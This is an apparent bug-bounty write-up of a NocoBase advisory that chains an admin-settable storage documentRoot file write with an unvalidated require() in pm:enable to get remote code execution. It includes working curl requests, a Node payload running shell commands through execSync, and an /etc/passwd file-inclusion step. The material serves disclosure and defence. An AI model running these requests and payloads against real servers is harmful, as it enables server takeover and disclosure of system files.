# NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

NocoBase admin can point storage documentRoot anywhere to upload a JS file, then pm:enable require() executes it for RCE.

- Payout: Research
- Severity: high
- Program: NocoBase
- Found by: lukehebe
- Disclosed: 2026-08-20
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-ghvf-qf6h-g8x5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ghvf-qf6h-g8x5
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:file-upload vuln:info-disclosure vuln:path-traversal vuln:rce

**Target:** NocoBase server (storages:update, attachments:upload, pm:enable API endpoints)
**Root cause:** getDocumentRoot() resolves an unvalidated documentRoot from the storage record and uses it as the safe root for uploads; separately pm:enable passes filterByTk straight to requireModule()/require() with no path validation, despite an unused assertSafePluginPackageName().
**Steps:**
1. GET `/api/storages` with admin Bearer token to obtain local storage ID
2. Create payload `/tmp/rce_proof.js` that runs `execSync('id; whoami; hostname')` and writes output to the uploads dir, `module.exports = {}`
3. POST `/api/storages:update?filterByTk=<id>` with body `{"options":{"documentRoot":"."},"default":true}`
4. POST `/api/attachments:upload` with `-F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"`
5. GET `/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js` to trigger require() and execute the payload
6. Fetch output file from static uploads path on port 13000
7. Standalone LFI: GET `/api/pm:enable?filterByTk=/etc/passwd` returns 200; SyntaxError embedding file content lands in system_error log, downloadable via `logger:download`
**How found:** Code review of the file-manager local storage getDocumentRoot()/resolveSafePath() showed the safe root itself was attacker-controlled; review of the plugin-manager enable action showed filterByTk flowing unsanitized into requireModule(), with assertSafePluginPackageName() present but never called on the HTTP path.
**Exploitation:** Authenticated admin sets storage documentRoot to the app CWD, uploads a malicious .js via attachments:upload so it lands in the web root, then calls pm:enable with the absolute path to that file; require() executes it in the Node process (root in default Docker), and command output is written to the statically served uploads directory for retrieval.
**Escalation:** Chains a path-control file write (CWE-73/434) with an unvalidated require() LFI (CWE-829) to convert admin-only file upload into full server-side code execution.
**Insight:** When a 'safe path' helper resolves its base root from a user-editable config field, the traversal guard is moot — audit the root, not just the filename. Also grep for existing sanitizers (assertSafePluginPackageName) and check whether every call path actually invokes them.

## Proof of concept (copied exactly from the original report)

**curl storages:update documentRoot redirect**

```
curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
  -H "Authorization: Bearer [redacted]" \
  -H "Content-Type: application/json" \
  -d '{"options":{"documentRoot":"."},"default":true}'
```

**curl pm:enable LFI to RCE payload**

```
curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
  -H "Authorization: Bearer [redacted]"
```

**Malicious JS payload writing command output**

```
cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF
```

